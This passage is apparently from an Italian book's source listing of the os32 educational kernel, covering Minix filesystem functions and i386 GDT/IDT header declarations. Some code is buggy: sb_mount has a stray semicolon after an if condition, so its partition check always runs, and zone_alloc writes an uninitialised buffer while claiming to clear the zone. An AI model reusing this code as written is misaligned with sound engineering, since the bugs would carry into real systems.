900199                                    ps->euid, ps->egid);
900200              if (status != 0)
900201                {
900202                  inode_put (inode);
900203                  return (NULL);
900204                }
900205            }
```

```
900206          //
900207          // As a directory was found, and another token follows it,
900208          // must continue the token scan.
900209          //
900210          name = next;
900211        }
900212      //
900213      // Current inode found is the file represented by the requested
900214      // path.
900215      //
900216      return (inode);
900217  }
```

119.5.32 kernel/fs/path_inode_link.c

Si veda la sezione 118.5.40.

```
910001  #include <kernel/fs.h>
910002  #include <errno.h>
910003  #include <kernel/proc.h>
910004  #include <libgen.h>
910005  //----------------------------------------------------------------------
910006  inode_t *
910007  path_inode_link (pid_t pid, const char *path, inode_t *inode,
910008                   mode_t mode)
910009  {
910010      proc_t       *ps;
910011      char          buffer[SB_MAX_ZONE_SIZE];
910012      off_t         start;
910013      int           d;        // Directory index.
910014      ssize_t       size_read;
910015      ssize_t       size_written;
910016      directory_t *dir = (directory_t *) buffer;
910017      char          path_copy1[PATH_MAX];
910018      char          path_copy2[PATH_MAX];
910019      char         *path_directory;
910020      char         *path_name;
910021      inode_t      *inode_directory;
910022      inode_t      *inode_new;
910023      dev_t         device;
910024      int           status;
910025      //
910026      // Check arguments.
910027      //
910028      if (path == NULL || strlen (path) == 0)
910029        {
910030          errset (EINVAL);         // Invalid argument:
910031          return (NULL);           // the path is mandatory.
910032        }
910033      //
910034      if (inode == NULL && mode == 0)
```

```
910035          {
910036            errset (EINVAL);         // Invalid argument: if the inode is to
910037            return (NULL);           // be created, the mode is mandatory.
910038          }
910039        //
910040        if (inode != NULL)
910041          {
910042            if (mode != 0)
910043              {
910044                errset (EINVAL);     // Invalid argument: if the inode is
910045                return (NULL);       // already present, the creation mode
910046              }                      // must not be given.
910047            if (S_ISDIR (inode->mode))
910048              {
910049                errset (EPERM);      // Operation not permitted.
910050                return (NULL);       // Refuse to link directory.
910051              }
910052            if (inode->links >= LINK_MAX)
910053              {
910054                errset (EMLINK);             // Too many links.
910055                return (NULL);
910056              }
910057          }
910058        //
910059        // Get process.
910060        //
910061        ps = proc_reference (pid);
910062        //
910063        // If the destination path already exists, the link cannot be made.
910064        // It does not matter if the inode is known or not.
910065        //
910066        inode_new = path_inode ((uid_t) 0, path);
910067        if (inode_new != NULL)
910068          {
910069            //
910070            // A file already exists with the same name.
910071            //
910072            inode_put (inode_new);
910073            errset (EEXIST);                 // File exists.
910074            return (NULL);
910075          }
910076        //
910077        // At this point, 'inode_new' is 'NULL'.
910078        // Copy the source path inside the directory path and name arrays.
910079        //
910080        strncpy (path_copy1, path, PATH_MAX);
910081        strncpy (path_copy2, path, PATH_MAX);
910082        //
910083        // Reduce to directory name and find the last name.
910084        //
910085        path_directory = dirname  (path_copy1);
910086        path_name      = basename (path_copy2);
```

```
910087      if (strlen (path_directory) == 0 || strlen (path_name) == 0)
910088        {
910089          errset (EACCES);        // Permission denied: maybe the
910090                                  // original path is the root directory
910091                                  // and cannot find a previous directory.
910092          return (NULL);
910093        }
910094      //
910095      // Get the directory inode.
910096      //
910097      inode_directory = path_inode (pid, path_directory);
910098      if (inode_directory == NULL)
910099        {
910100          errset (errno);
910101          return (NULL);
910102        }
910103      //
910104      // Check if something is mounted on it.
910105      //
910106      if (inode_directory->sb_attached != NULL)
910107        {
910108          //
910109          // Must select the right directory.
910110          //
910111          device = inode_directory->sb_attached->device;
910112          inode_put (inode_directory);
910113          inode_directory = inode_get (device, 1);
910114          if (inode_directory == NULL)
910115            {
910116              return (NULL);
910117            }
910118        }
910119      //
910120      // If the inode to link is known, check if the selected directory
910121      // has the same super block than the inode to link.
910122      //
910123      if (inode != NULL && inode_directory->sb != inode->sb)
910124        {
910125          inode_put (inode_directory);
910126          errset (ENOENT);        // No such file or directory.
910127          return (NULL);
910128        }
910129      //
910130      // Check if write is allowed for the file system.
910131      //
910132      if (inode_directory->sb->options & MOUNT_RO)
910133        {
910134          inode_put (inode_directory);
910135          errset (EROFS);         // Read-only file system.
910136          return (NULL);
910137        }
910138      //
```

```
910139      // Verify access permissions for the directory. The number "3" means
910140      // that the user must have access permission and write permission:
910141      // "-wx" == 2+1 == 3.
910142      //
910143      status = inode_check (inode_directory, S_IFDIR, 3,
910144                            ps->euid, ps->egid);
910145      if (status != 0)
910146        {
910147          inode_put (inode_directory);
910148          return (NULL);
910149        }
910150      //
910151      // If the inode to link was not specified, it must be created.
910152      // From now on, the inode is referenced with the variable
910153      // `inode_new'.
910154      //
910155      inode_new = inode;
910156      //
910157      if (inode_new == NULL)
910158        {
910159          inode_new = inode_alloc (inode_directory->sb->device, mode,
910160                                   ps->euid, ps->egid);
910161          if (inode_new == NULL)
910162            {
910163              //
910164              // The inode allocation failed, so, also the directory
910165              // must be released, before return.
910166              //
910167              inode_put (inode_directory);
910168              return (NULL);
910169            }
910170        }
910171      //
910172      // Read the directory content and try to add the new item.
910173      //
910174      for (start  = 0;
910175           start <  inode_directory->size;
910176           start += inode_directory->sb->blksize)
910177        {
910178          size_read = inode_file_read (inode_directory, start, buffer,
910179                                       inode_directory->sb->blksize,
910180                                       NULL);
910181          if (size_read < sizeof (directory_t))
910182            {
910183              break;
910184            }
910185          //
910186          // Scan the directory portion just read, for an unused item.
910187          //
910188          dir = (directory_t *) buffer;
910189          for (d = 0; d < size_read; d += (sizeof (directory_t)), dir++)
910190            {
```

```
910191              if (dir->ino == 0)
910192                {
910193                  //
910194                  // Found an empty directory item: link the inode.
910195                  //
910196                  dir->ino = inode_new->ino;
910197                  strncpy (dir->name, path_name, NAME_MAX);
910198                  inode_new->links++;
910199                  inode_new->changed = 1;
910200                  //
910201                  // Update the directory inside the file system.
910202                  //
910203                  size_written = inode_file_write (inode_directory, start,
910204                                                   buffer, size_read);
910205                  if (size_written != size_read)
910206                    {
910207                      //
910208                      // Write problem: release the directory and return.
910209                      //
910210                      inode_put (inode_directory);
910211                      errset (EUNKNOWN);
910212                      return (NULL);
910213                    }
910214                  //
910215                  // Save the new inode, release the directory and return
910216                  // the linked inode.
910217                  //
910218                  inode_save (inode_new);
910219                  inode_put (inode_directory);
910220                  return (inode_new);
910221                }
910222            }
910223        }
910224      //
910225      // The directory don't have a free item and one must be appended.
910226      //
910227      dir   = (directory_t *) buffer;
910228      start = inode_directory->size;
910229      //
910230      // Prepare the buffer with the link.
910231      //
910232      dir->ino = inode_new->ino;
910233      strncpy (dir->name, path_name, NAME_MAX);
910234      inode_new->links++;
910235      inode_new->changed = 1;
910236      //
910237      // Append the buffer to the directory.
910238      //
910239      size_written = inode_file_write (inode_directory, start, buffer,
910240                                       (sizeof (directory_t)));
910241      if (size_written != (sizeof (directory_t)))
910242        {
```

```
910243             //
910244             // Problem updating the directory: release it and return.
910245             //
910246             inode_put (inode_directory);
910247             errset (EUNKNOWN);
910248             return (NULL);
910249           }
910250         //
910251         // Close access to the directory inode and save the other inode,
910252         // with updated link count.
910253         //
910254         inode_put (inode_directory);
910255         inode_save (inode_new);
910256         //
910257         // Return successfully.
910258         //
910259         return (inode_new);
910260     }
```

119.5.33 kernel/fs/sb_inode_status.c

Si veda la sezione 118.5.26.

```
920001 #include <kernel/fs.h>
920002 #include <errno.h>
920003 //----------------------------------------------------------------------
920004 int
920005 sb_inode_status (sb_t *sb, ino_t ino)
920006 {
920007     int map_element;
920008     int map_bit;
920009     int map_mask;
920010     //
920011     // Check arguments.
920012     //
920013     if (ino == 0 || sb == NULL)
920014       {
920015         errset (EINVAL);        // Invalid argument.
920016         return (-1);
920017       }
920018     //
920019     //  Calculate the map element, the map bit and the map mask.
920020     //
920021     map_element = ino / 16;
920022     map_bit     = ino % 16;
920023     map_mask    = 1 << map_bit;
920024     //
920025     // Check the inode and return.
920026     //
920027     if (sb->map_inode[map_element] & map_mask)
920028       {
```

```
920029            return (1);       // True.
920030          }
920031        else
920032          {
920033            return (0);       // False.
920034          }
920035    }
```

119.5.34 kernel/fs/sb_mount.c

Si veda la sezione 118.5.27.

```
930001 #include <kernel/fs.h>
930002 #include <errno.h>
930003 #include <kernel/dev.h>
930004 #include <kernel/lib_k.h>
930005 #include <kernel/dm.h>
930006 #include <kernel/part.h>
930007 //----------------------------------------------------------------------
930008 sb_t *
930009 sb_mount (dev_t device, inode_t **inode_mnt, int options)
930010 {
930011     sb_t    *sb;
930012     ssize_t size_read;
930013     addr_t  start;
930014     int     m;
930015     size_t  size_sb;
930016     size_t  size_map;
930017     int     dev_major = major (device);
930018     int     dev_minor = minor (device);
930019     int     p         = dev_minor & 0x000F;
930020     int     d         = ((dev_minor & 0x00F0) >> 4);
930021     //
930022     // Find if it is already mounted.
930023     //
930024     sb = sb_reference (device);
930025     if (sb != NULL)
930026       {
930027         errset (EBUSY);         // Device or resource busy: device
930028         return (NULL);          // already mounted.
930029       }
930030     //
930031     // Find if `*inode_mnt' is already mounting something.
930032     //
930033     if (*inode_mnt != NULL && (*inode_mnt)->sb_attached != NULL)
930034       {
930035         errset (EBUSY);         // Device or resource busy: mount point
930036         return (NULL);          // already used.
930037       }
930038     //
930039     // If it is a partition, find if it can be mounted.
```

```
930040      //
930041      if ((dev_major == DEV_DM_MAJOR) && (p));
930042        {
930043          //
930044          // It is a partition.
930045          //
930046          if (dm_table[d].part[p].type
930047              != PART_TYPE_MINIX)
930048            {
930049              errset (E_PART_TYPE_NOT_MINIX); // Not Minix!
930050              return (NULL);                  // Cannot mount.
930051            }
930052        }
930053      //
930054      // The inode is not yet mounting anything, or it is new: find a free
930055      // slot inside the super block table.
930056      //
930057      sb = sb_reference ((dev_t) -1);
930058      if (sb == NULL)
930059        {
930060          errset (EBUSY);         // Device or resource busy:
930061          return (NULL);          // no free slots.
930062        }
930063      //
930064      // A free slot was found: the super block header must be loaded, but
930065      // before it is necessary to calculate the header size to be read.
930066      //
930067      size_sb = offsetof (sb_t, device);
930068      //
930069      // Then fix the starting point.
930070      //
930071      start  = 1024;                      // After boot block.
930072      //
930073      // Read the file system super block header.
930074      //
930075      size_read = dev_io ((pid_t) 0, device, DEV_READ, start, sb,
930076                          size_sb, NULL);
930077      if (size_read != size_sb)
930078        {
930079          errset (EIO);                   // I/O error.
930080          return (NULL);
930081        }
930082      //
930083      // Save some more data.
930084      //
930085      sb->device           =  device;
930086      sb->options          =  options;
930087      sb->inode_mounted_on = *inode_mnt;
930088      sb->blksize          =  (1024 << sb->log2_size_zone);
930089      //
930090      // Check if the super block data is valid.
930091      //
```

```
930092      if (sb->magic_number != 0x137F)
930093        {
930094          errset (ENODEV);        // No such device: unsupported
930095          sb->device = 0;         // file system type.
930096          return (NULL);
930097        }
930098      if (sb->map_inode_blocks > SB_MAX_INODE_BLOCKS)
930099        {
930100          errset (E_MAP_INODE_TOO_BIG);
930101          return (NULL);
930102        }
930103      if (sb->map_zone_blocks > SB_MAX_ZONE_BLOCKS)
930104        {
930105          errset (E_MAP_ZONE_TOO_BIG);
930106          return (NULL);
930107        }
930108      if (sb->blksize > SB_MAX_ZONE_SIZE)
930109        {
930110          errset (E_DATA_ZONE_TOO_BIG);
930111          return (NULL);
930112        }
930113      //
930114      // A right super block header was loaded from disk, now load the
930115      // super block inode bit map.
930116      //
930117      start  = 1024;                              // After boot block.
930118      start += 1024;                              // After super block.
930119      for (m = 0; m < SB_MAP_INODE_SIZE; m++)     //
930120        {                                         // Reset map in memory,
930121          sb->map_inode[m] = 0xFFFF;              // before loading.
930122        }                                         //
930123      size_map = sb->map_inode_blocks * 1024;
930124      size_read = dev_io ((pid_t) -1, sb->device, DEV_READ, start,
930125                          sb->map_inode, size_map, NULL);
930126      if (size_read != size_map)
930127        {
930128          errset (EIO);                   // I/O error.
930129          return (NULL);
930130        }
930131      //
930132      // Load the super block zone bit map.
930133      //
930134      start  = 1024;                              // After boot block.
930135      start += 1024;                              // After super block.
930136      start += (sb->map_inode_blocks * 1024);     // After inode bit map.
930137      for (m = 0; m < SB_MAP_ZONE_SIZE; m++)      //
930138        {                                         // Reset map in memory,
930139          sb->map_zone[m] = 0xFFFF;               // before loading.
930140        }                                         //
930141      size_map = sb->map_zone_blocks * 1024;
930142      size_read = dev_io ((pid_t) -1, sb->device, DEV_READ, start,
930143                          sb->map_zone, size_map, NULL);
```

```
930144     if (size_read != size_map)
930145       {
930146         errset (EIO);                    // I/O error.
930147         return (NULL);
930148       }
930149     //
930150     // Check the inode that should mount the super block. If
930151     // `*inode_mnt' is `NULL', then it is meant to be the first mount of
930152     // the root file system. In such case, the inode must be loaded too,
930153     // and the value for `*inode_mnt' must be modified.
930154     //
930155     if (*inode_mnt == NULL)
930156       {
930157         *inode_mnt = inode_get (device, 1);
930158       }
930159     //
930160     // Check for a valid value.
930161     //
930162     if (*inode_mnt == NULL)
930163       {
930164         //
930165         // This is bad!
930166         //
930167         errset (EUNKNOWN);               // Unknown error.
930168         return (NULL);
930169       }
930170     //
930171     // A valid inode is available for the mount.
930172     //
930173     (*inode_mnt)->sb_attached  = sb;
930174     //
930175     // Update the super block too.
930176     //
930177     sb->inode_mounted_on = *inode_mnt;
930178     //
930179     // Return the super block pointer.
930180     //
930181     return (sb);
930182 }
```

119.5.35 kernel/fs/sb_print.c

Si veda la sezione 118.5.28.

```
940001 #include <sys/os32.h>
940002 #include <kernel/fs.h>
940003 #include <kernel/lib_k.h>
940004 //----------------------------------------------------------------------
940005 void
940006 sb_print (void)
940007 {
```

```
940008      int s;
940009      //
940010      k_printf ("     mnt                1st zone max file inode  "
940011                "zone  \n");
940012      k_printf ("dev  dev  inodes blocks dz  size size KiB blocks "
940013                "blocks\n");
940014      //
940015      for (s = 0; s < SB_MAX_SLOTS; s++)
940016        {
940017          if (sb_table[s].device == 0)
940018            {
940019              continue;
940020            }
940021          k_printf ("%04x %04x % 6i % 6i % 3i % 4i % 8i % 6i % 6i\n",
940022                    sb_table[s].device,
940023                    sb_table[s].inode_mounted_on->sb_attached->device,
940024                    sb_table[s].inodes,
940025                    sb_table[s].zones,
940026                    sb_table[s].first_data_zone,
940027                    (1024 << sb_table[s].log2_size_zone),
940028                    sb_table[s].max_file_size/1024,
940029                    sb_table[s].map_inode_blocks,
940030                    sb_table[s].map_zone_blocks);
940031        }
940032  }
```

119.5.36 kernel/fs/sb_public.c

Si veda la sezione 118.5.29.

```
950001  #include <kernel/fs.h>
950002  //----------------------------------------------------------------------
950003  sb_t    sb_table[SB_MAX_SLOTS];
```

119.5.37 kernel/fs/sb_reference.c

Si veda la sezione 118.5.29.

```
960001  #include <kernel/fs.h>
960002  #include <errno.h>
960003  //----------------------------------------------------------------------
960004  sb_t *
960005  sb_reference (dev_t device)
960006  {
960007      int s;                              // Slot index.
960008      //
960009      // If device is zero, a reference to the whole table is returned.
960010      //
960011      if (device == 0)
```

```
960012          {
960013            return (sb_table);
960014          }
960015        //
960016        // If device is ((dev_t) -1), a reference to a free slot is
960017        // returned.
960018        //
960019        if (device == ((dev_t) -1))
960020          {
960021            for (s = 0; s < SB_MAX_SLOTS; s++)
960022              {
960023                if (sb_table[s].device == 0)
960024                  {
960025                    return (&sb_table[s]);
960026                  }
960027              }
960028            return (NULL);
960029          }
960030        //
960031        // A device was selected: find the super block associated to it.
960032        //
960033        for (s = 0; s < SB_MAX_SLOTS; s++)
960034          {
960035            if (sb_table[s].device == device)
960036              {
960037                return (&sb_table[s]);
960038              }
960039          }
960040        //
960041        // The super block was not found.
960042        //
960043        return (NULL);
960044    }
```

119.5.38 kernel/fs/sb_save.c

Si veda la sezione 118.5.30.

```
970001    #include <kernel/fs.h>
970002    #include <errno.h>
970003    #include <kernel/dev.h>
970004    //----------------------------------------------------------------------
970005    int
970006    sb_save (sb_t *sb)
970007    {
970008        ssize_t size_written;
970009        addr_t  start;
970010        size_t  size_map;
970011        //
970012        // Check for valid argument.
970013        //
```

```
970014     if (sb == NULL)
970015       {
970016         errset (EINVAL);                        // Invalid argument.
970017         return (-1);
970018       }
970019     //
970020     // Check if the super block changed for some reason (only the
970021     // inode and the zone maps can change really).
970022     //
970023     if (!sb->changed)
970024       {
970025         //
970026         // Nothing to save.
970027         //
970028         return (0);
970029       }
970030     //
970031     // Something inside the super block changed: start the procedure to
970032     // save the inode map (recall that the super block header is not
970033     // saved, because it never changes).
970034     //
970035     start  = 1024;                              // After boot block.
970036     start += 1024;                              // After super block.
970037     size_map = sb->map_inode_blocks * 1024;
970038     size_written = dev_io ((pid_t) -1, sb->device, DEV_WRITE, start,
970039                 sb->map_inode, size_map, NULL);
970040     if (size_written != size_map)
970041       {
970042         //
970043         // Error writing the map.
970044         //
970045         errset (EIO);                   // I/O error.
970046         return (-1);
970047       }
970048     //
970049     // Start the procedure to save the zone map.
970050     //
970051     start  = 1024;                              // After boot block.
970052     start += 1024;                              // After super block.
970053     start += (sb->map_inode_blocks * 1024);     // After inode bit map.
970054     size_map = sb->map_zone_blocks * 1024;
970055     size_written = dev_io ((pid_t) -1, sb->device, DEV_WRITE, start,
970056                 sb->map_zone, size_map, NULL);
970057     if (size_written != size_map)
970058       {
970059         //
970060         // Error writing the map.
970061         //
970062         errset (EIO);                   // I/O error.
970063         return (-1);
970064       }
970065     //
```

```
970066        // Super block saved.
970067        //
970068        sb->changed = 0;
970069        //
970070        return (0);
970071    }
```

119.5.39 kernel/fs/sb_zone_status.c

Si veda la sezione 118.5.26.

```
980001    #include <kernel/fs.h>
980002    #include <errno.h>
980003    //----------------------------------------------------------------------
980004    int
980005    sb_zone_status (sb_t *sb, zno_t zone)
980006    {
980007        int map_element;
980008        int map_bit;
980009        int map_mask;
980010        //
980011        // Check arguments.
980012        //
980013        if (zone == 0 || sb == NULL)
980014          {
980015            errset (EINVAL);        // Invalid argument.
980016            return (-1);
980017          }
980018        //
980019        //  Calculate the map element, the map bit and the map mask.
980020        //
980021        map_element = zone / 16;
980022        map_bit     = zone % 16;
980023        map_mask    = 1 << map_bit;
980024        //
980025        // Check the zone and return.
980026        //
980027        if (sb->map_zone[map_element] & map_mask)
980028          {
980029            return (1);     // True.
980030          }
980031        else
980032          {
980033            return (0);     // False.
980034          }
980035    }
```

119.5.40 kernel/fs/zone_alloc.c

Si veda la sezione 118.5.32.

```
990001 #include <kernel/fs.h>
990002 #include <kernel/dev.h>
990003 #include <errno.h>
990004 //----------------------------------------------------------------------
990005 zno_t
990006 zone_alloc (sb_t *sb)
990007 {
990008     int    m;                      // Index inside the inode map.
990009     int    map_element;
990010     int    map_bit;
990011     int    map_mask;
990012     zno_t  zone;
990013     char   buffer[SB_MAX_ZONE_SIZE];
990014     int    status;
990015     //
990016     // Verify if write is allowed.
990017     //
990018     if (sb->options & MOUNT_RO)
990019       {
990020         errset (EROFS);          // Read-only file system.
990021         return ((zno_t) 0);
990022       }
990023     //
990024     // Write allowed: scan the zone map, to find a free zone.
990025     // If a free zone can be found, allocate it inside the map.
990026     // Index 'm' starts from one, because the first bit of the
990027     // map is reserved for a 'zero' data-zone that does not
990028     // exist: the second bit is for the real first data-zone.
990029     //
990030     for (zone = 0, m = 1; m < (SB_MAP_ZONE_SIZE * 16); m++)
990031       {
990032         map_element = m / 16;
990033         map_bit     = m % 16;
990034         map_mask    = 1 << map_bit;
990035         if (!(sb->map_zone[map_element] & map_mask))
990036           {
990037             //
990038             // Found a free place: set the map.
990039             //
990040             sb->map_zone[map_element] |= map_mask;
990041             sb->changed = 1;
990042             //
990043             // The *second* bit inside the map is for the first data
990044             // zone (the zone after the inode table inside the file
990045             // system), because the first is for a special 'zero' data
990046             // zone, not really used.
990047             //
990048             zone = sb->first_data_zone + m - 1; // Found a free zone.
990049             //
```

```
990050                 // If the zone is outside the disk size, let set the map
990051                 // bit, but reset variable 'zone'.
990052                 //
990053                 if (zone >= sb->zones)
990054                   {
990055                     zone = 0;
990056                   }
990057                 else
990058                   {
990059                     break;
990060                   }
990061             }
990062         }
990063     if (zone == 0)
990064         {
990065           errset (ENOSPC);         // No space left on device.
990066           return ((zno_t) 0);
990067         }
990068     //
990069     // A free zone was found and the map was modified inside
990070     // the super block in memory. The zone must be cleared.
990071     //
990072     status = zone_write (sb, zone, buffer);
990073     if (status != 0)
990074         {
990075           zone_free (sb, zone);
990076           return ((zno_t) 0);
990077         }
990078     //
990079     // A zone was allocated: return the number.
990080     //
990081     return (zone);
990082 }
```

119.5.41 kernel/fs/zone_free.c

Si veda la sezione 118.5.32.

```
1000001 #include <kernel/fs.h>
1000002 #include <kernel/dev.h>
1000003 #include <errno.h>
1000004 //----------------------------------------------------------------------
1000005 int
1000006 zone_free (sb_t *sb, zno_t zone)
1000007 {
1000008     int map_element;
1000009     int map_bit;
1000010     int map_mask;
1000011     //
1000012     // Check arguments.
1000013     //
```

```
1000014     if (sb == NULL || zone < sb->first_data_zone)
1000015       {
1000016         errset (EINVAL);        // Invalid argument.
1000017         return (-1);
1000018       }
1000019     //
1000020     // Calculate the map element, the map bit and the map mask.
1000021     //
1000022     // The *second* bit inside the map is for the first data-zone
1000023     // (the zone after the inode table inside the file system),
1000024     // because the first is for a special 'zero' data-zone, not
1000025     // really used.
1000026     //
1000027     map_element = (zone - sb->first_data_zone + 1) / 16;
1000028     map_bit     = (zone - sb->first_data_zone + 1) % 16;
1000029     map_mask    = 1 << map_bit;
1000030     //
1000031     // Verify if the requested zone is inside the file system area.
1000032     //
1000033     if (zone >= sb->zones)
1000034       {
1000035         errset (EINVAL);        // Invalid argument.
1000036         return (-1);
1000037       }
1000038     //
1000039     // Free the zone and return.
1000040     //
1000041     if (sb->map_zone[map_element] & map_mask)
1000042       {
1000043         sb->map_zone[map_element] &= ~map_mask;
1000044         sb->changed = 1;
1000045         return (0);
1000046       }
1000047     else
1000048       {
1000049         errset (EUNKNOWN);              // The zone was already free.
1000050         return (-1);
1000051       }
1000052 }
```

119.5.42 kernel/fs/zone_print.c

Si veda la sezione 118.5.34.

```
1010001 #include <sys/os32.h>
1010002 #include <kernel/fs.h>
1010003 #include <kernel/dev.h>
1010004 #include <errno.h>
1010005 //----------------------------------------------------------------------
1010006 void
1010007 zone_print (sb_t *sb, zno_t zone)
```

```
1010008 {
1010009     char buffer[SB_MAX_ZONE_SIZE];
1010010     int status;
1010011     int i;
1010012     int x;
1010013     //
1010014     status = zone_read (sb, zone, buffer);
1010015     //
1010016     if (status < 0)
1010017       {
1010018         k_perror (NULL);
1010019         return;
1010020       }
1010021     //
1010022     // Print.
1010023     //
1010024     k_printf ("dev: 0x%04x, first dzone: %i zone read: %i\n",
1010025               sb->device, sb->first_data_zone, zone);
1010026     //
1010027     // Will print at most the first 256 byte only!
1010028     //
1010029     for (i = 0; i < sb->blksize && i < 256; i++)
1010030       {
1010031         k_printf ("%02x ", buffer[i]);
1010032         x = (i+1) % 4;
1010033         if (x == 0 && i > 0)
1010034           {
1010035             k_printf ("| ");
1010036           }
1010037         x = (i+1) % 16;
1010038         if (x == 0 && i > 0)
1010039           {
1010040             k_printf ("\n");
1010041           }
1010042       }
1010043 }
```

119.5.43 kernel/fs/zone_read.c

Si veda la sezione 118.5.35.

```
1020001 #include <sys/os32.h>
1020002 #include <kernel/fs.h>
1020003 #include <kernel/dev.h>
1020004 #include <errno.h>
1020005 //----------------------------------------------------------------------
1020006 int
1020007 zone_read (sb_t *sb, zno_t zone, void *buffer)
1020008 {
1020009     size_t   size_zone;
1020010     off_t    off_start;
```

```
1020011     ssize_t  size_read;
1020012     //
1020013     // Verify if the requested zone is inside the file system area.
1020014     //
1020015     if (zone >= sb->zones)
1020016       {
1020017         errset (EINVAL);        // Invalid argument.
1020018         return (-1);
1020019       }
1020020     //
1020021     // Calculate start position.
1020022     //
1020023     size_zone  = 1024 << sb->log2_size_zone;
1020024     off_start  = zone;
1020025     off_start *= size_zone;
1020026     //
1020027     // Read from device to the buffer.
1020028     //
1020029     size_read = dev_io ((pid_t) -1, sb->device, DEV_READ, off_start,
1020030                         buffer, size_zone, NULL);
1020031     if (size_read != size_zone)
1020032       {
1020033         errset (EIO);           // I/O error.
1020034         return (-1);
1020035       }
1020036     else
1020037       {
1020038         return (0);
1020039       }
1020040 }
```

119.5.44 kernel/fs/zone_write.c

Si veda la sezione 118.5.35.

```
1030001 #include <kernel/fs.h>
1030002 #include <kernel/dev.h>
1030003 #include <errno.h>
1030004 //----------------------------------------------------------------------
1030005 int
1030006 zone_write (sb_t *sb, zno_t zone, void *buffer)
1030007 {
1030008     size_t   size_zone;
1030009     off_t    off_start;
1030010     ssize_t  size_written;
1030011     //
1030012     // Verify if write is allowed.
1030013     //
1030014     if (sb->options & MOUNT_RO)
1030015       {
1030016         errset (EROFS);         // Read-only file system.
```

```
1030017             return (-1);
1030018           }
1030019         //
1030020         // Verify if the requested zone is inside the file system area.
1030021         //
1030022         if (zone >= sb->zones)
1030023           {
1030024             errset (EINVAL);        // Invalid argument.
1030025             return (-1);
1030026           }
1030027         //
1030028         // Write is allowed: calculate start position.
1030029         //
1030030         size_zone  = 1024 << sb->log2_size_zone;
1030031         off_start  = zone;
1030032         off_start *= size_zone;
1030033         //
1030034         // Write the buffer to the device.
1030035         //
1030036         size_written = dev_io ((pid_t) -1, sb->device, DEV_WRITE, off_start,
1030037                                buffer, size_zone, NULL);
1030038         if (size_written != size_zone)
1030039           {
1030040             errset (EIO);           // I/O error.
1030041             return (-1);
1030042           }
1030043         else
1030044           {
1030045             return (0);
1030046           }
1030047     }
```

119.6 os32: «kernel/ibm_i386.h»

Si veda la sezione 118.6.

```
1040001     #ifndef _KERNEL_IBM_I386_H
1040002     #define _KERNEL_IBM_I386_H   1
1040003     //----------------------------------------------------------------------
1040004     #include <stdint.h>
1040005     #include <inttypes.h>
1040006     #include <stdbool.h>
1040007     #include <stdarg.h>
1040008     //----------------------------------------------------------------------
1040009     // GDT
1040010     //----------------------------------------------------------------------
1040011     #define GDT_ITEMS       256    // Max is 8192 items.
1040012     //
1040013     typedef struct {
1040014         uint32_t  limit_a              : 16,
1040015                   base_a               : 16;
```

```
1040016     uint32_t  base_b               : 8,
1040017               accessed             : 1,
1040018               write_execute        : 1,
1040019               expansion_conforming : 1,
1040020               code_or_data         : 1,
1040021               code_data_or_system  : 1,
1040022               dpl                  : 2,
1040023               present              : 1,
1040024               limit_b              : 4,
1040025               available            : 1,
1040026               reserved             : 1,
1040027               big                  : 1,
1040028               granularity          : 1,
1040029               base_c               : 8;
1040030 } gdt_t;
1040031 //
1040032 extern gdt_t gdt_table[GDT_ITEMS];
1040033 //----------------------------------------------------------------------
1040034 typedef struct {
1040035     uint16_t  limit;
1040036     uint32_t  base;
1040037 } __attribute__ ((packed)) gdtr_t;      // [1]
1040038 //
1040039 extern gdtr_t gdt_register;
1040040 //
1040041 // [1] It is necessary that the structure be compact, so that it
1040042 //     uses exactly 48 bits. That is why the attribute 'packed'
1040043 //     for the GNU C compiler is used.
1040044 //----------------------------------------------------------------------
1040045 int gdt_segment (int segment, uint32_t base, uint32_t limit,
1040046                  bool present, bool code, unsigned char dpl);
1040047 //
1040048 void gdt_print    (void *gdtr, unsigned int first, unsigned int last);
1040049 void gdt_load     (void *gdtr);
1040050 void gdt          (void);
1040051 //
1040052 // Segment 0 is not used,
1040053 // segment 1 is for kernel code,
1040054 // segment 2 is for kernel data,
1040055 // segment 3 is for process 1 code,
1040056 // segment 4 is for process 1 data,
1040057 // ...
1040058 //
1040059 #define gdt_pid_to_segment_text(p)  (p*2+1)
1040060 #define gdt_pid_to_segment_data(p)  (p*2+2)
1040061 #define gdt_segment_text_to_pid(s)  (s/2)
1040062 #define gdt_segment_data_to_pid(s)  (s/2-1)
1040063 //----------------------------------------------------------------------
1040064 // IDT
1040065 //----------------------------------------------------------------------
1040066 #define IDT_ITEMS      129      // 0-128 0x00-0x80
1040067 //----------------------------------------------------------------------
```

```
1040068 typedef struct {
1040069     uint32_t  offset_a : 16,
1040070               selector : 16;
1040071     uint32_t  filler   : 8,
1040072               type     : 4,
1040073               system   : 1,
1040074               dpl      : 2,
1040075               present  : 1,
1040076               offset_b : 16;
1040077 } idt_t;
1040078 //
1040079 extern idt_t idt_table[IDT_ITEMS];
1040080 //----------------------------------------------------------------------
1040081 typedef struct {
1040082     uint16_t  limit;
1040083     uint32_t  base;
1040084 } __attribute__ ((packed)) idtr_t;
1040085 //
1040086 extern idtr_t idt_register;
1040087 //----------------------------------------------------------------------
1040088 void idt_descriptor (int desc, void *isr, uint16_t selector,
1040089                      bool present, char type, char dpl);
1040090 void idt_load       (void *idtr);
1040091 void idt            (void);
1040092 void idt_irq_remap  (unsigned int offset_1, unsigned int offset_2);
1040093 void idt_print      (void *idtr, unsigned int first, unsigned int last);
1040094 //----------------------------------------------------------------------
1040095 // ISR
1040096 //----------------------------------------------------------------------
1040097 void  isr_0   (void);
1040098 void  isr_1   (void);
1040099 void  isr_2   (void);
1040100 void  isr_3   (void);
1040101 void  isr_4   (void);
1040102 void  isr_5   (void);
1040103 void  isr_6   (void);
1040104 void  isr_7   (void);
1040105 void  isr_8   (void);
1040106 void  isr_9   (void);
1040107 void  isr_10  (void);
1040108 void  isr_11  (void);
1040109 void  isr_12  (void);
1040110 void  isr_13  (void);
1040111 void  isr_14  (void);
1040112 void  isr_15  (void);
1040113 void  isr_16  (void);
1040114 void  isr_17  (void);
1040115 void  isr_18  (void);
1040116 void  isr_19  (void);
1040117 void  isr_20  (void);
1040118 void  isr_21  (void);
1040119 void  isr_22  (void);
```

```
1040120 void  isr_23  (void);
1040121 void  isr_24  (void);
1040122 void  isr_25  (void);
1040123 void  isr_26  (void);
1040124 void  isr_27  (void);
1040125 void  isr_28  (void);
1040126 void  isr_29  (void);
1040127 void  isr_30  (void);
1040128 void  isr_31  (void);
1040129 void  isr_32  (void);
1040130 void  isr_33  (void);
1040131 void  isr_34  (void);
1040132 void  isr_35  (void);
1040133 void  isr_36  (void);
1040134 void  isr_37  (void);
1040135 void  isr_38  (void);
1040136 void  isr_39  (void);
